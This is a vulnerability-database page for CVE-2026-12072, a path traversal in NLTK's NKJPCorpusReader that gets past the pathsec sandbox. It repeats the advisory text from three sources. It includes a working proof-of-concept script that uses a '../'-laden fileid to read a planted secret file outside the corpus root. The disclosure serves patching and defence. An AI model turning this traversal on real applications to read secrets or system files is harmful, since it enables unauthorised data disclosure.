Every CVE Search/ Get API key

CVE-2026-12072

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

7.5 HighFix available

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

Details

SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no normalization or containment check:
    def add_root(self, fileid):          # lines 96-102
        if self.root in fileid:
            return fileid                # attacker-controlled value returned unchanged
        return self.root + fileid        # plain concat, '..' not stripped
    
  • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()):
    class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
        def __init__(self, filename, **kwargs):
            XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189
    
  • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():
    class XML_Tool:                                  # line 243
        def __init__(self, root, filename):
            self.read_file = os.path.join(root, filename)   # line 251
        def build_preprocessed_file(self):
            fr = open(self.read_file)                        # line 256 — pathsec never consulted
    

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

PoC

Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")

# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
    "</bibl></sourceDesc></fileDesc></teiHeader>")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open
builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
    result = reader.header(fileids=[evil])
finally:
    builtins.open = real

print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
print("disclosed content  :", result[0]["title"])
shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)

Output (unmodified):

nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF

With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

Impact

This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

What each source reports

GitHub Advisories Score usedGHSA-6hm5-jgcp-p838 7.5

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

Details

SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no normalization or containment check:
    def add_root(self, fileid):          # lines 96-102
        if self.root in fileid:
            return fileid                # attacker-controlled value returned unchanged
        return self.root + fileid        # plain concat, '..' not stripped
    
  • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()):
    class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
        def __init__(self, filename, **kwargs):
            XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189
    
  • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():
    class XML_Tool:                                  # line 243
        def __init__(self, root, filename):
            self.read_file = os.path.join(root, filename)   # line 251
        def build_preprocessed_file(self):
            fr = open(self.read_file)                        # line 256 — pathsec never consulted
    

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

PoC

Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")

# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
    "</bibl></sourceDesc></fileDesc></teiHeader>")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open…
Record
GHSA-6hm5-jgcp-p838
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-6hm5-jgcp-p838 7.5

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

Details

SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no normalization or containment check:
    def add_root(self, fileid):          # lines 96-102
        if self.root in fileid:
            return fileid                # attacker-controlled value returned unchanged
        return self.root + fileid        # plain concat, '..' not stripped
    
  • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()):
    class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
        def __init__(self, filename, **kwargs):
            XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189
    
  • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():
    class XML_Tool:                                  # line 243
        def __init__(self, root, filename):
            self.read_file = os.path.join(root, filename)   # line 251
        def build_preprocessed_file(self):
            fr = open(self.read_file)                        # line 256 — pathsec never consulted
    

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

PoC

Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")

# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
    "</bibl></sourceDesc></fileDesc></teiHeader>")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open…
Record
GHSA-6hm5-jgcp-p838
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVPYSEC-2026-3581 7.5

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

Details

SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no normalization or containment check:
    def add_root(self, fileid):          # lines 96-102
        if self.root in fileid:
            return fileid                # attacker-controlled value returned unchanged
        return self.root + fileid        # plain concat, '..' not stripped
    
  • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()):
    class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
        def __init__(self, filename, **kwargs):
            XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189
    
  • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():
    class XML_Tool:                                  # line 243
        def __init__(self, root, filename):
            self.read_file = os.path.join(root, filename)   # line 251
        def build_preprocessed_file(self):
            fr = open(self.read_file)                        # line 256 — pathsec never consulted
    

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

PoC

Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")

# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
    "</bibl></sourceDesc></fileDesc></teiHeader>")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open…
Record
PYSEC-2026-3581
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
OSVopenSUSE-SU-2026:11469-1 No score

python313-nltk-3.10.1-1.1 on GA media

These are all security issues fixed in the python313-nltk-3.10.1-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11469-1
Updated
2026-11-02
OSVUBUNTU-CVE-2026-12072 No score

[Unknown description]

Record
UBUNTU-CVE-2026-12072
Updated
2026-11-02

Affected packages

Affected packages
PackageAffectedFixed
nltk
PyPI
through 3.9.4
3.10.0
nltk
Debian:12
All versions, plus listed versions
3.10.0-13.10.1-13.10.3-13.8-13.8.1-1
Show 4 moreShow less
3.9.1-13.9.1-23.9.2-13.9.3-1
None known
nltk
Debian:13
All versions, plus listed versions
3.10.0-13.10.1-13.10.3-13.9.1-23.9.2-13.9.3-1
None known
nltk
Debian:14
before 3.10.0-1, plus listed versions
3.9.1-23.9.2-13.9.3-1
3.10.0-1
nltk
PyPI
before 3.10.0, plus listed versions
0.80.90.9.30.9.40.9.5
Show 45 moreShow less
0.9.60.9.70.9.80.9.92.0.12.0.1rc12.0.1rc2-git2.0.1rc32.0.1rc42.0.22.0.32.0.42.0.52.0b42.0b52.0b62.0b72.0b82.0b93.0.03.0.0b13.0.0b23.0.13.0.23.0.33.0.43.0.53.13.23.2.13.2.23.2.33.2.43.2.53.33.43.4.13.4.23.4.33.4.43.4.53.53.5b13.63.6.1
3.10.0
nltk
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
2.0~b9-0ubuntu42.0~b9-0ubuntu4.1~esm22.0~b9-0ubuntu4.1~esm42.0~b9-0ubuntu4.1~esm52.0~b9-0ubuntu4.1~esm6
None known
nltk
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
3.0.4-13.0.5-13.1-13.1-1ubuntu0.13.1-1ubuntu0.1+esm13.1-1ubuntu0.1+esm23.1-1ubuntu0.1+esm33.1-1ubuntu0.1+esm4
None known
nltk
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
3.2.4-13.2.5-13.2.5-1ubuntu0.13.2.5-1ubuntu0.1+esm13.2.5-1ubuntu0.1+esm23.2.5-1ubuntu0.1+esm33.2.5-1ubuntu0.1+esm4
None known
nltk
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
3.4.5-13.4.5-23.4.5-2ubuntu0.1~esm13.4.5-2ubuntu0.1~esm23.4.5-2ubuntu0.1~esm33.4.5-2ubuntu0.1~esm4
None known
nltk
Ubuntu:Pro:22.04:LTS
All versions, plus listed versions
3.5-13.6.5-13.6.7-13.7-13.7-1ubuntu0.1~esm13.7-1ubuntu0.1~esm2
None known
Show 4 moreShow less
Affected packages
PackageAffectedFixed
nltk
Ubuntu:Pro:24.04:LTS
All versions, plus listed versions
3.8.1-13.8.1-1ubuntu0.1~esm13.8.1-1ubuntu0.1~esm2
None known
nltk
Ubuntu:26.10
All versions, plus listed versions
3.9.2-13.9.3-13.10.0-13.10.1-13.10.3-1
None known
nltk
Ubuntu:Pro:26.04:LTS
All versions, plus listed versions
3.9.1-23.9.1-2build13.9.2-13.9.2-1ubuntu0.1~esm13.9.2-1ubuntu0.1~esm2
None known
python-nltk
openSUSE:Tumbleweed
From an advisory covering 3 CVEs
before 3.10.1-1.1
3.10.1-1.1

History

History
RecordedChangedSources
affected, facts
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-12072 is a high vulnerability (CVSS 7.5) in nltk, published July 31, 2026. No source lists public exploit code. Fixed in nltk 3.10.0.

References

Show 5 moreShow less
This page doesn't list everything

Left out here: 15 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open